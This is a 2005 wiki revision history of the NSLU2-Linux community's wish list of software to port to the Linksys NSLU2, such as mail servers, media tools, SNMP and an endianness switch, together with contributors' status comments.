December 12, 2005, at 04:10 PM by anon -- Add Fax Receiver idea
Changed lines 136-137 from:
to:
  • Fax receiver - use the slug to control an incoming PSTN line and save faxes to images stored on the slug for later viewing. Optionally allow such images to be emailed to one/several people with relevant metadata (such as the CLI of the calling number).
December 11, 2005, at 09:45 AM by sna --
Changed lines 107-108 from:
  • Peer2Peer?-Client: Use the slug as filesharing server to connect to BitTorrent or eMule. Save the incomming files on the connected hdd and share it over the homenetwork. This would be the end of my noisy filesharing-pc.
to:
  • Peer2Peer?-Client: Use the slug as filesharing server to connect to BitTorrent or eMule. Save the incomming files on the connected hdd and share it over the homenetwork. This would be the end of my noisy filesharing-pc. [ctorrent]
December 11, 2005, at 09:38 AM by sna -- p2p
Added lines 107-108:
  • Peer2Peer?-Client: Use the slug as filesharing server to connect to BitTorrent or eMule. Save the incomming files on the connected hdd and share it over the homenetwork. This would be the end of my noisy filesharing-pc.
December 04, 2005, at 06:16 PM by zippy -- pocketpc is an arm binary
Added lines 74-75:
The PocketPC? version of Skype runs on ARM-based handhelds. Might it be possible to port this to the NSLU2? -- zippy@cs.brandeis.edu''
November 17, 2005, at 09:44 AM by Ahmad Khayyat -- APC UPS Power Management
Added lines 27-29:
  • APC UPS Power Management: Port of any of the APC UPS management tools so that a usb-connected APC unit can be managed (possibly remotely as most tools allow that) through the nslu2.
November 16, 2005, at 12:48 AM by nickctrl -- Added gnump3d in the wishlist
Changed lines 79-80 from:
to:
  • gnump3d A superb and very light mp3 and ogg http server. Your multimedia collection will be accessible from any browser. Doesn't need Apache and co.
November 09, 2005, at 08:19 AM by Soulstealer -- added raop_play to wishlist
Changed lines 77-78 from:
to:
  • raop_play: audio streaming to an Airport Express Device
November 08, 2005, at 02:03 PM by TylerLarson -- Added note to Telnet wish
Changed lines 80-81 from:
  • Telnet Client: The ability to telnet from my unslung NSLU2 would be useful, but unslung doesn't seem to cater for this. For example, a Telnet client would allow secure remote administration of my home router. I could connect remotely to my NSLU2 using SSH (dropbear) then administer the router from the LAN side using Telnet from the NSLU2.
to:
  • Telnet Client: The ability to telnet from my unslung NSLU2 would be useful, but unslung doesn't seem to cater for this. For example, a Telnet client would allow secure remote administration of my home router. I could connect remotely to my NSLU2 using SSH (dropbear) then administer the router from the LAN side using Telnet from the NSLU2. Note: In a pinch, you can use nc as a telnet client. Just do something like nc <hostname> 23 to connect to a telnet server. It's not a very clean interface, but it works.
November 02, 2005, at 08:39 PM by apadua -- IPX support added
Added lines 121-122:
  • IPX - FULL IPX support, including SAMBA file and print.
November 02, 2005, at 10:48 AM by Zhyla -- Skype comment
Changed lines 39-40 from:
See tail end of FAQ.SpinDownUSBHarddisks for why this is more involved than porting a utility.
to:
See tail end of FAQ.SpinDownUSBHarddisks for why this is more involved than porting a utility. - Zhyla
Changed lines 43-44 from:
It might be easier to use the Python clone, pexpect: http://pexpect.sourceforge.net/. It's pure Python, so no porting required.
to:
It might be easier to use the Python clone, pexpect: http://pexpect.sourceforge.net/. It's pure Python, so no porting required. - Zhyla
Changed lines 47-48 from:
I think this is directly supported by modern Linux kernels, this howto is a good place to start: http://www.faqs.org/docs/Linux-HOWTO/Loopback-Encrypted-Filesystem-HOWTO.html
to:
I think this is directly supported by modern Linux kernels, this howto is a good place to start: http://www.faqs.org/docs/Linux-HOWTO/Loopback-Encrypted-Filesystem-HOWTO.html
Added lines 69-70:
Is this even possible without binaries from the Skype developers? Last I checked they only had x86 Linux binaries available. - Zhyla
November 02, 2005, at 09:17 AM by Zhyla -- Adding some links/comments about a few requests.
Added lines 39-40:
See tail end of FAQ.SpinDownUSBHarddisks for why this is more involved than porting a utility.
Added lines 43-44:
It might be easier to use the Python clone, pexpect: http://pexpect.sourceforge.net/. It's pure Python, so no porting required.
Added lines 47-48:
I think this is directly supported by modern Linux kernels, this howto is a good place to start: http://www.faqs.org/docs/Linux-HOWTO/Loopback-Encrypted-Filesystem-HOWTO.html
October 29, 2005, at 03:05 AM by ju55i --
Changed lines 67-70 from:
  • Podcast downloader Subscribe to and download podcasts.
to:
  • Podcast downloader Subscribe to and download podcasts. Maybe this could be done with a command line aggregator like Podget.
October 28, 2005, at 07:06 AM by wun -- reference to MRTG native compile on yahoo
Changed lines 83-84 from:
to:
  • follow MRTG on the Slug exactly - works great!
October 24, 2005, at 12:14 PM by Brian Dorling -- Added \\\\\\\"\\\\\\\"Home Controller\\\\\\\" idea
Added lines 43-45:
  • Home Controller Use the Slug as a small home automation system via a USB-to-Serial converter
Added line 70:
October 24, 2005, at 02:33 AM by AnonymousStud --
Changed lines 50-51 from:
  • DVR: Add a USB MPEG2 hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR). (ADSTech's Instant DVD 2.0 has audio/video in/out, for example.)
to:
  • DVR: Add a USB MPEG2/4 hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR) or other applications, like IP Camera. (ADSTech's Instant DVD 2.0 has audio/video in/out, for example.)(Plextor's ConvertX? supports MPEG4? as well, is Wischip based so a Linux source of the capture program is available)
October 22, 2005, at 04:27 AM by Middo --
Changed lines 58-59 from:
to:
  • Skype Client connected to a Linksys CIT200 usb phone.
October 22, 2005, at 04:26 AM by Middo --
Added lines 58-59:
October 19, 2005, at 06:50 AM by wun -- Reference to yappa-ng photo gallery
Changed lines 81-82 from:
  • vitroth: I've done this, by installing AxKit and AxKit::App::Gallery. Unsuprisingly generating thumbnails on the fly is *slow*.
to:
  • vitroth: I've done this, by installing AxKit and AxKit::App::Gallery. Unsuprisingly generating thumbnails on the fly is *slow*.
  • yappa-ng (with apache2, php, libgd) also works fine.
Changed lines 102-103 from:
  • Syslog-NG - For storing syslog messages in a mysql database (done http://ipkgfind.nslu2-linux.org/details.php?package=syslog-ng
to:
  • Syslog-NG - For storing syslog messages in a mysql database (done nslu2 syslog-ng
October 19, 2005, at 06:43 AM by wun --
Changed lines 101-102 from:
  • Syslog-NG - For storing syslog messages in a mysql database (done http://ipkgfind.nslu2-linux.org/details.php?package=syslog-ng syslog-ng
to:
  • Syslog-NG - For storing syslog messages in a mysql database (done http://ipkgfind.nslu2-linux.org/details.php?package=syslog-ng
October 19, 2005, at 06:42 AM by wun -- syslog-ng is done and works.
Changed lines 101-102 from:
  • Syslog-NG - For storing syslog messages in a mysql database
to:
  • Syslog-NG - For storing syslog messages in a mysql database (done http://ipkgfind.nslu2-linux.org/details.php?package=syslog-ng syslog-ng
October 04, 2005, at 02:21 PM by joschi --
Changed lines 56-57 from:
  • Scanner Server: Add a USB scanner and be able to share it over the network via saned.
to:
  • Scanner Server: Add a USB scanner and be able to share it over the network via saned. (done: saned available as openslug package)
October 04, 2005, at 12:10 PM by Finlay -- Wishing for a Telnet client
Added lines 66-67:
  • Telnet Client: The ability to telnet from my unslung NSLU2 would be useful, but unslung doesn't seem to cater for this. For example, a Telnet client would allow secure remote administration of my home router. I could connect remotely to my NSLU2 using SSH (dropbear) then administer the router from the LAN side using Telnet from the NSLU2.
September 29, 2005, at 06:31 PM by chinaplate -- added podcast downloader
Added lines 62-64:
  • Podcast downloader Subscribe to and download podcasts.
September 26, 2005, at 05:37 PM by Lou --
Changed lines 67-68 from:
  • Subversion Server: Port the standard subversion server (subversion.tigris.org). (Comment: Already done. Package svn exists and is running perfectly.)
to:
  • Subversion Server: Port the standard subversion server (subversion.tigris.org). (Comment: Already done. Package svn exists and is running perfectly.) (Maybe in unslung, but not OpenSlug. Subversion package exists in HEAD, but compiled result gives error when importing or when loading a backup)
September 20, 2005, at 01:18 PM by Chris -- Package svn exists
Changed lines 67-68 from:
  • Subversion Server: Port the standard subversion server (subversion.tigris.org).
to:
  • Subversion Server: Port the standard subversion server (subversion.tigris.org). (Comment: Already done. Package svn exists and is running perfectly.)
September 20, 2005, at 01:46 AM by mwester --
Changed lines 31-32 from:
  • Add volume label to disk drive: So Norton Ghost (DOS) will work correctly for doing image backups to the NSLU2.
to:
  • Add volume label to disk drive: So Norton Ghost (DOS) will work correctly for doing image backups to the NSLU2. (Comment: Volume labels are not essential for the DOS version of Norton Ghost; the problem is actually a Samba bug and is fixed in the later Samba versions, including the native Samba in the R63 firmware from Linksys.)
September 17, 2005, at 09:16 AM by marceln -- Type correction
Changed lines 109-110 from:
  • Dovecot - An alternative secure IMAP & POP3? server
to:
  • Dovecot - An alternative secure IMAP & POP3 server
September 16, 2005, at 05:06 PM by DeShawn -- Request for Freeradius on openslug
Added lines 98-99:
  • FreeRadius - Freeradius server on openslug (Unslung Optware package already available).
September 11, 2005, at 09:25 PM by NicolasThiery -- Added wish for subversion
Added lines 67-68:
  • Subversion Server: Port the standard subversion server (subversion.tigris.org).
September 08, 2005, at 12:12 PM by pepesz76 --
Changed lines 60-61 from:
  • pyogg and pyvorbis: Python Wrappers for Ogg, Vorbis.
to:
  • pyogg, pyvorbis: Python Wrappers for Ogg and Vorbis.
September 08, 2005, at 12:10 PM by pepesz76 --
Added lines 60-61:
  • pyogg and pyvorbis: Python Wrappers for Ogg, Vorbis.
August 28, 2005, at 09:00 PM by Brian Gillette -- Interview with ClamAV founder.
Changed lines 27-28 from:
  • Anti Virus: Some form of anti virus solution, either a cron based on-demand scan or (best) an on-access scanner. The former would be a lot easier to implement from GPL based scanners. Example GPL scanners with source include Clam Antivirus and Open Antivirus. [done: clamav package available]
to:
  • Anti Virus: Some form of anti virus solution, either a cron based on-demand scan or (best) an on-access scanner. The former would be a lot easier to implement from GPL based scanners. Example GPL scanners with source include Clam Antivirus and Open Antivirus. [done: clamav package available]. Email Battles interview with ClamAV project founder Tomasz Kojm - Covers Clamav response time, competitiveness, longevity and viability on servers as well as desktop systems.
August 23, 2005, at 07:21 AM by jim -- kplaylist
Changed lines 61-62 from:
to:
  • kplaylist: The kplaylist php-application. I can't get it to work on an unslung nslu2(with apache and mod_php installed and working).
August 22, 2005, at 11:44 AM by wiml -- Moved endianness discussion to its own page
Changed lines 16-30 from:
  • Little Endian mode: Now that v1.5 of the NPE driver and access library has been released along with little endian mode support, it is possible to switch the NSLU2 over. This would save us a lot of work as ARM Linux and various other packages don't seem to have been tested properly on big endian architectures like the NSLU2 currently is. The problem is that we will have to replace RedBoot with a LE one or make a small loader stub which switches to LE mode and then loads the kernel after being called by the stock RedBoot.
[beewoolie] I believe that this task is easier than that. All we should have to do to execute the kernel in LE mode is a) compile it with an LE compiler and b) edit the head.S file and insert an instruction to clear the BigEndian control bit. In essence, we'd build an LE kernel and add a couple instructions to force the CPU into LE mode as soon as possible.
[tman] Hmm. If it really is that easy then it might be an idea to look into this for OpenSlug as currently we don't have open source replacements for some of the Linksys binaries. Once that hurdle is overcome, we can make Unslung little endian as well.
[alsagiac] IXP420 developer's manual says "due to the code written for the Network Processor Engines operation in little endian mode is not currently supported. The core must be set to big endian mode for proper operation". It unfortunately seems to be harder than expected...
UPDATE: the developer's manual, althought having a date of March 2005, seems to be out of date compared to programmer's manual V1.5 (November 2004) saying that NPE does support little endian (see following comment).
[tman] The IXP420 manual is old and hasn't been updated to reflect the fact that v1.5 of the NPE drivers does support little endian mode. Please read the paragraph regarding little endian mode again.
[slebetman] Uhh.. isn't it better for network devices to be running in bin endian mode? Otherwise our poor slug will have to constantly htonl() - ntohl() numbers. Remember, TCP/IP is big endian.
[blaster8] Just to update this 'discussion', a little-endian Linux has been run on the NSLU2 - an install of Debian Linux. Most of the peripherals can be accessed in little-endian mode, for the others - well it isn't that CPU intensive to do byte-swapping (otherwise how would your old Pentium 66 have accessed a network?). The major blocker is that the Intel ethernet drivers do not yet work in little-endian mode on a 2.6 kernel. If this is fixed, a switch to little-endian mode could be considered by the dev team.
to:
  • Little Endian mode: Now that v1.5 of the NPE driver and access library has been released along with little endian mode support, it is possible to switch the NSLU2 over. See Info.EndianNess.
August 22, 2005, at 11:38 AM by wiml --
Changed lines 152-153 from:
Creating the equivelent of a WAP gateway is only possible using Bluetooth phone. See previous wish Bluetooth PAN access point?.
to:
Creating the equivelent of a WAP gateway is easiest using Bluetooth phone. See previous wish Bluetooth PAN access point?.
August 12, 2005, at 03:38 PM by djw -- added request for the \\\"expect\\\" package
Added lines 52-53:
  • EXPECT Script automation for network backups: port the 'expect' package so that network rsyncs can be automated. Expect can handle the various login needs of rsync.
August 11, 2005, at 08:29 PM by marceln -- Dovecot moved to Fulfilled Wishes
Deleted lines 103-105:
  • Dovecot - An alternative secure IMAP & POP3? server
The package is ready for testing stage.
Added lines 113-114:
  • Dovecot - An alternative secure IMAP & POP3? server
August 11, 2005, at 11:40 AM by blaster8 -- Man pages are done
Deleted lines 30-31:
  • Man pages for ipkg: Man pages are very useful. Attempting to figure how packages are put together without them isn't trivial. [Partially done - many packages now have man pages and man for Unslung works nicely]
August 11, 2005, at 11:40 AM by blaster8 -- Updated status of Little-endian mode on the NSLU2
Added lines 29-30:
[blaster8] Just to update this 'discussion', a little-endian Linux has been run on the NSLU2 - an install of Debian Linux. Most of the peripherals can be accessed in little-endian mode, for the others - well it isn't that CPU intensive to do byte-swapping (otherwise how would your old Pentium 66 have accessed a network?). The major blocker is that the Intel ethernet drivers do not yet work in little-endian mode on a 2.6 kernel. If this is fixed, a switch to little-endian mode could be considered by the dev team.
August 11, 2005, at 10:53 AM by blaster8 -- more typos
Changed lines 141-142 from:
  • BitTorrent Client: A BitTorent? client, that can process RSS feeds with torrents. Search for specific keywords in the torrent. And then downloads the correct torrent (like RSS feeds plugin for Azureus).
to:
  • BitTorrent Client: A Bittorrent client, that can process RSS feeds with torrents. Search for specific keywords in the torrent. And then downloads the correct torrent (like RSS feeds plugin for Azureus).
August 11, 2005, at 10:52 AM by blaster8 -- typofix
Changed lines 133-134 from:
  • Simple QoS: My Linksys router can't / hasn't been hacked (WAG54G) but some form of QoS so that I can use the slug as a gateway and it'll forward packets onwards, QoS'd, so that I can play Quake online while BitTorenting? while still allowing others in the house to use HTTP.
to:
  • Simple QoS: My Linksys router can't / hasn't been hacked (WAG54G) but some form of QoS so that I can use the slug as a gateway and it'll forward packets onwards, QoS'd, so that I can play Quake online while using Bittorrent while still allowing others in the house to use HTTP.
August 11, 2005, at 10:49 AM by blaster8 -- Adding notes about use of the Package Search Engine
Added lines 5-6:

Note that before you request a piece of software be ported, please use the Package Search Engine to check whether it is already present in the feeds!

Changed lines 27-28 from:
[slebetman] Uhh.. isn't it better for network devices to be running in bin endian mode? Otherwise our poor slug will have to constantly htonl() - ntohl() numbers. Remenber, TCP/IP is big endian.
to:
[slebetman] Uhh.. isn't it better for network devices to be running in bin endian mode? Otherwise our poor slug will have to constantly htonl() - ntohl() numbers. Remember, TCP/IP is big endian.
Changed lines 40-44 from:
  • Anti Virus: Some form of anti virus solution, either a cron based on-demand scan or (best) an on-access scanner. The former would be a lot easier to implement from GPL based scanners. Example GPL scanners with source include Clam Antivirus and Open Antivirus.[done: clamav package available]
Then why doesn't it show up in packages???
Cause it can found at Find Ipkgs
to:
  • Anti Virus: Some form of anti virus solution, either a cron based on-demand scan or (best) an on-access scanner. The former would be a lot easier to implement from GPL based scanners. Example GPL scanners with source include Clam Antivirus and Open Antivirus. [done: clamav package available]
Deleted line 76:
Deleted lines 85-87:
Is there a turnkey package for the NSLU2, or are you just showing how 'smart' you are?
The provided package contains nearly everything, as it's in the original source from openldap.org.
August 10, 2005, at 03:39 AM by repvik -- Moved wakelan, shoutcast, openvpn to fulfilled.
Deleted lines 63-64:
  • Shoutcast:A shoutcast server so I can listen to MP3s away from home and share with pals.
Changed lines 73-77 from:
  • Wake On Lan (WOL): so I can ssh to my box and wake any machine on my network to access it. [done: wakelan package avilable]
Care to provide a link? This wiki has no mention of a wakelan package for the NSLU2.
But you can found it at Find Ipkgs
to:
Deleted lines 106-107:
  • OpenVPN client/server - Some comments indicate this needs tun support in the kernel
Added lines 121-129:
  • Wake On Lan (WOL): so I can ssh to my box and wake any machine on my network to access it.
wakelan package has been added to OpenSlug
  • Shoutcast:A shoutcast server so I can listen to MP3s away from home and share with pals.
Shoutcast cannot be used on the slug, as it is binary only. I have added icecast to the feed, which should work equally -> well.
  • OpenVPN client/server - Some comments indicate this needs tun support in the kernel
This has been added to OpenSlug, and is confirmed working
August 06, 2005, at 01:57 PM by PA -- Add madplay
Added lines 60-61:
  • madplay: For Asterisk Music On Hold
August 01, 2005, at 07:48 PM by marceln -- Dovecot ready for testing
Changed lines 116-117 from:
I have made a makefile in the unslung cvs repository for it. But it will takes some more time to make it available as ipk.
to:
The package is ready for testing stage.
July 30, 2005, at 09:53 AM by marceln -- Dovecot makefile in cvs
Changed lines 116-117 from:
to:
I have made a makefile in the unslung cvs repository for it. But it will takes some more time to make it available as ipk.
July 29, 2005, at 07:26 PM by Michael-Luke Jones -- Should have previewed the last change
Changed lines 115-116 from:
  • [[http://www.dovecot.org/ | Dovecot]] - An alternative secure IMAP/POP3? server
to:
  • Dovecot - An alternative secure IMAP & POP3? server
July 29, 2005, at 07:24 PM by Michael-Luke Jones -- Added Dovecot to Wish List
Added lines 115-116:
  • [[http://www.dovecot.org/ | Dovecot]] - An alternative secure IMAP/POP3? server
July 20, 2005, at 08:11 PM by XtraLars -- Syslog-NG
Added lines 113-114:
  • Syslog-NG - For storing syslog messages in a mysql database
July 18, 2005, at 05:23 PM by HannesReich --
Changed lines 58-59 from:
  • Music Player: Add a USB sound card and something like mpd. LIRC would be nice too. And a LCD screen -- hanging off the internal serial port, perhaps?
to:
  • Music Player: Add a USB sound card and something like mpd. LIRC would be nice too. And a LCD screen -- hanging off the internal serial port, perhaps? [getting there: see SlugAsAudioPlayer]
July 02, 2005, at 09:41 AM by marceln -- Snmp moved to Fullfilled
Changed lines 82-84 from:
  • SNMP:simple network management protocol reporting would be EXCELLENT
    • Work on net-snmp is in progress. There is a makefile in cvs.
to:
Added lines 122-123:
  • SNMP:simple network management protocol reporting would be EXCELLENT
June 30, 2005, at 06:58 PM by caplink811 -- changed my own typos
Changed lines 41-42 from:
Cause it can found at Find Ipkgs
to:
Cause it can found at Find Ipkgs
Changed lines 76-77 from:
But you can found it at Find Ipkgs
to:
But you can found it at Find Ipkgs
June 30, 2005, at 06:51 PM by caplink811 -- give some hints as answer to some package related questions
Changed lines 41-42 from:
to:
Cause it can found at Find Ipkgs
Changed lines 76-77 from:
to:
But you can found it at Find Ipkgs
Changed lines 95-96 from:
to:
The provided package contains nearly everything, as it's in the original source from openldap.org.
June 30, 2005, at 05:49 AM by slebetman -- Little endian comment..
Added lines 25-26:
[slebetman] Uhh.. isn't it better for network devices to be running in bin endian mode? Otherwise our poor slug will have to constantly htonl() - ntohl() numbers. Remenber, TCP/IP is big endian.
June 20, 2005, at 08:10 PM by gduncan --
Changed line 5 from:
to:

Development

Added lines 25-30:
  • Man pages for ipkg: Man pages are very useful. Attempting to figure how packages are put together without them isn't trivial. [Partially done - many packages now have man pages and man for Unslung works nicely]
  • /dev/loop - Provide the kernel module (block/loop) and the utils (losetup, already in busybox) to offer iso mounts (eg. to serve a linux distrib iso as an http/ftp/nfs repository).
  • /opt/etc/init.d Changes: Currently, startup scripts for added packages are placed into the /opt/etc/init.d directory prefixed by an "S" and a number. This suggestion would change the startup process to be more like svr4. Instead of placing the S* scripts into /etc/opt/init.d, the unprefixed scripts would be placed there, and a S* prefixed link to each script would be placed into a new directrory named, /opt/etc/rc.d. This change makes it simple to modify what services get run when the slug starts. Only the links in /etc/opt/rc.d need to be changed to change the behavior of the slug. Proper runlevel support could be added later if needed.
Changed lines 32-48 from:
  • Wake On Lan (WOL): so I can ssh to my box and wake any machine on my network to access it. [done: wakelan package avilable]
Care to provide a link? This wiki has no mention of a wakelan package for the NSLU2.
  • iPod Support Allowing you to hook up a iPod to one of the USB ports and then have some sort of web interface allowing you to transfer songs to your iPod from your Hard Drive thats attached on the other USB port.
  • Snort sensor: Embedded snort distro/image to act as a low cost Network Intrusion Detection Sensor.
  • Music Player: Add a USB sound card and something like mpd. LIRC would be nice too. And a LCD screen -- hanging off the internal serial port, perhaps?
  • Voice Command Recognition: Add a USB sound card and microphone to have the slug respond to spoken commands. Or - use as a sound recording device.
  • DVR: Add a USB MPEG2 hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR). (ADSTech's Instant DVD 2.0 has audio/video in/out, for example.)
  • Scanner Server: Add a USB scanner and be able to share it over the network via saned.
to:

User Applications

Management

Changed lines 38-39 from:
  • Man pages for ipkg: Man pages are very useful. Attempting to figure how packages are put together without them isn't trivial. [Partially done - many packages now have man pages and man for Unslung works nicely]
to:
Then why doesn't it show up in packages???
Deleted lines 47-55:
  • Webmail (Squirrelmail): In addition to an IMAP mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up).
  • Photo-Server: Add a web based photo album program that creates thumbnails of photos on the fly in a particular directory of images for certain users and if the user clicked on the photo it would enlarge to it's full size, so photos can be presented in a much nicer fashion. It would be cool if there was a skins option to change the look of the photo album and an option to create your own custom skin too.
    • vitroth: I've done this, by installing AxKit and AxKit::App::Gallery. Unsuprisingly generating thumbnails on the fly is *slow*.
  • LDAP Server: Use the slug to centralize things like address books, users accounts, mount points etc. [done: openldap]
Is there a turnkey package for the NSLU2, or are you just showing how 'smart' you are?
Deleted lines 49-65:
  • procmail: Add a procmail ipkg packet to sort mails get over fetchmail. Maybe this will be also a next step to get a complete mailserver.
  • BootP Server: Add a BootP server so diskless workstations can boot off the NSLU2 over a LAN.
  • WebDAV: I would love to have a webdav folder to sync my iCal (or SunBird) - Even better if it could be backupped by subversion (http://blog.murf.org/archives/000513.html)
  • Ion3: Lightweight X11 window manager ion
  • VNCServer: This is so that the client side does not have to be a X11 server.
  • HPOJ driver: Printer (and scanner) driver for most if not all HP All-in-one printers (http://hpoj.sourceforge.net/). ESP Ghostscript is great idea, too since it supports almost every printer (Postscript and non-postscript)
  • SNMP:simple network management protocol reporting would be EXCELLENT
Work on net-snmp is in progress. There is a makefile in cvs.
  • SNMP: SNMP server and grapher (for self and other SNMP enabled devices) + integration into Apache for visualisation and monitoring would be the bomb!!!
Added lines 52-58:

Multimedia

  • iPod Support Allowing you to hook up a iPod to one of the USB ports and then have some sort of web interface allowing you to transfer songs to your iPod from your Hard Drive thats attached on the other USB port.
  • Music Player: Add a USB sound card and something like mpd. LIRC would be nice too. And a LCD screen -- hanging off the internal serial port, perhaps?
  • DVR: Add a USB MPEG2 hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR). (ADSTech's Instant DVD 2.0 has audio/video in/out, for example.)
Deleted lines 62-63:
  • DVarchive:DVarchive is written in Java - this would require Java version 1.4.2 to be compiled for the slug. I don't know if thst is possible but it would be great! See www.dvarchive.org - kitty
Added lines 65-73:
  • Scanner Server: Add a USB scanner and be able to share it over the network via saned.
  • Voice Command Recognition: Add a USB sound card and microphone to have the slug respond to spoken commands. Or - use as a sound recording device.

Network

  • Wake On Lan (WOL): so I can ssh to my box and wake any machine on my network to access it. [done: wakelan package avilable]
Care to provide a link? This wiki has no mention of a wakelan package for the NSLU2.
Changed lines 76-81 from:
  • /dev/loop - Provide the kernel module (block/loop) and the utils (losetup, already in busybox) to offer iso mounts (eg. to serve a linux distrib iso as an http/ftp/nfs repository).
  • OpenVPN client/server - Some comments indicate this needs tun support in the kernel
  • Car Computer - Mount the Slug in your car. opens some other possibilities, mp3's with USB card as mentioned before, GPS, monitoring/logging ECU, bluetooth car kit....
to:
  • Snort sensor: Embedded snort distro/image to act as a low cost Network Intrusion Detection Sensor.
  • SNMP:simple network management protocol reporting would be EXCELLENT
    • Work on net-snmp is in progress. There is a makefile in cvs.
  • SNMP: SNMP server and grapher (for self and other SNMP enabled devices) + integration into Apache for visualisation and monitoring would be the bomb!!!
  • Webmail (Squirrelmail): In addition to an IMAP mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up).
  • Photo-Server: Add a web based photo album program that creates thumbnails of photos on the fly in a particular directory of images for certain users and if the user clicked on the photo it would enlarge to it's full size, so photos can be presented in a much nicer fashion. It would be cool if there was a skins option to change the look of the photo album and an option to create your own custom skin too.
    • vitroth: I've done this, by installing AxKit and AxKit::App::Gallery. Unsuprisingly generating thumbnails on the fly is *slow*.
  • LDAP Server: Use the slug to centralize things like address books, users accounts, mount points etc. [done: openldap]
Is there a turnkey package for the NSLU2, or are you just showing how 'smart' you are?
  • procmail: Add a procmail ipkg packet to sort mails get over fetchmail. Maybe this will be also a next step to get a complete mailserver.
  • BootP Server: Add a BootP server so diskless workstations can boot off the NSLU2 over a LAN.
  • WebDAV: I would love to have a webdav folder to sync my iCal (or SunBird) - Even better if it could be backupped by subversion (http://blog.murf.org/archives/000513.html)
  • Ion3: Lightweight X11 window manager ion
  • VNCServer: This is so that the client side does not have to be a X11 server.
Changed lines 104-106 from:
  • /opt/etc/init.d Changes: Currently, startup scripts for added packages are placed into the /opt/etc/init.d directory prefixed by an "S" and a number. This suggestion would change the startup process to be more like svr4. Instead of placing the S* scripts into /etc/opt/init.d, the unprefixed scripts would be placed there, and a S* prefixed link to each script would be placed into a new directrory named, /opt/etc/rc.d. This change makes it simple to modify what services get run when the slug starts. Only the links in /etc/opt/rc.d need to be changed to change the behavior of the slug. Proper runlevel support could be added later if needed.
to:
  • HPOJ driver: Printer (and scanner) driver for most if not all HP All-in-one printers (http://hpoj.sourceforge.net/). ESP Ghostscript is great idea, too since it supports almost every printer (Postscript and non-postscript)
  • DVarchive:DVarchive is written in Java - this would require Java version 1.4.2 to be compiled for the slug. I don't know if thst is possible but it would be great! See www.dvarchive.org - kitty
  • OpenVPN client/server - Some comments indicate this needs tun support in the kernel

Other Projects

  • Car Computer - Mount the Slug in your car. opens some other possibilities, mp3's with USB card as mentioned before, GPS, monitoring/logging ECU, bluetooth car kit....
Changed lines 123-124 from:
I have made a package vblade which will convert a seekable file (including a partition) to an aoe (ata over ethernet) drive. It's not iscsi but has the same function.
to:
  • I have made a package vblade which will convert a seekable file (including a partition) to an aoe (ata over ethernet) drive. It's not iscsi but has the same function.
Changed lines 127-128 from:
Try the Traffic Shaping How to.
to:
  • Try the Traffic Shaping How to.
Changed lines 137-138 from:
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server) [some done: xmail, postfix, fetchmail, cyrus-imapd, bogofilter, perl-spamassassin]
to:
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server) [some done: xmail, postfix, fetchmail, cyrus-imapd, bogofilter, perl-spamassassin]
June 20, 2005, at 07:37 PM by gduncan --
Changed lines 5-10 from:
  • SIP Server - Ever wished for your own VoIP PBX at home? - Look here: http://sipath.sourceforge.net/weblinks.php - I would really like to have SER running on my Slug http://sip-router.org/ser/ - SIP Express Router (ser) is a high-performance, configurable, free SIP (RFC3261) server. It can act as SIP registrar, proxy or redirect server. SER features an application-server interface, presence support, SMS gateway, SIMPLE2Jabber gateway, RADIUS/syslog accounting and authorization, server status monitoring, FCP security, etc. Web-based user provisioning, serweb, available. Its performance allows it to deal with operational burdens, such as broken network components, attacks, power-up reboots and rapidly growing user population. SER's configuration ability meets needs of a whole range of scenarios including small-office use, enterprise PBX replacements and carrier services.
  • Dynamic IP Publishing - Provide a NSLU2 program which will determine the dynamic IP address of the local router and have NSLU2 post the address to an external website/location when it changes so access to the NSLU2, as well as other devices/computers on your local net, is always available. RE: Check the script for DynDNS service.
  • iPod Support Allowing you to hook up a iPod to one of the USB ports and then have some sort of web interface allowing you to transfer songs to your iPod from your Hard Drive thats attached on the other USB port.
to:
Added lines 12-13:
  • Mini-data cache: Figure out how to take advantage of the IXP420's 2K mini-data cache. This special data cache is useful when you know you're not going to need the data for very long (while streaming, for example), so you don't polute the main data cache. Require setting the right bits in the MMU page tables.
Changed lines 25-34 from:
  • Webcam Support: SPCA5XX, SAA8115HL, SAA811HL, OV511 OV511+ CCD chipset support to add a webcam!
  • iSCSI target: An iSCSI target implemention, ARDIS Tech iSCSI target and / or iSCSI Enterprise Target. iSCSI - for the non-initiated, exports LUNs to hosts via a TCP/IP network. Software initators are available for most operation systems including Linux and Windows. Enables you to see a target disk as a locally connected disk.
I have made a package vblade which will convert a seekable file (including a partition) to an aoe (ata over ethernet) drive. It's not iscsi but has the same function.
  • Mini-data cache: Figure out how to take advantage of the IXP420's 2K mini-data cache. This special data cache is useful when you know you're not going to need the data for very long (while streaming, for example), so you don't polute the main data cache. Require setting the right bits in the MMU page tables.
  • VOIP: Add a USB Bluetooth dongle, a Bluetooth headset, and USB keypad e.g. laptop numeric keypad to turn your slug into a phone.
to:

  • Wake On Lan (WOL): so I can ssh to my box and wake any machine on my network to access it. [done: wakelan package avilable]
Care to provide a link? This wiki has no mention of a wakelan package for the NSLU2.
  • iPod Support Allowing you to hook up a iPod to one of the USB ports and then have some sort of web interface allowing you to transfer songs to your iPod from your Hard Drive thats attached on the other USB port.
Deleted lines 40-41:
  • Print Server: HowToAddPrinter - CUPS is now ready for testing and Linksys Samba integration is described on the wiki page - specifically how to add a USB printer and be able to print to it over the network. There's some evidence in the Flash configuration partition that Linksys did some work on this, probably via Samba.
Deleted lines 42-45:
  • WAP Gateway: Add a WAP gateway package so that you can get internet access on cell phones and other devices through your broadband connection without paying additional money to your cellular service provider.
  • MySQL server: Useful for anything which requires a database. This would be a must for the ports of appWeb/PHP. Package exists for Unslung, see: MySQL
Deleted lines 52-53:
  • Simple QoS: My Linksys router can't / hasn't been hacked (WAG54G) but some form of QoS so that I can use the slug as a gateway and it'll forward packets onwards, QoS'd, so that I can play Quake online while BitTorrenting while still allowing others in the house to use HTTP.
Deleted lines 54-57:
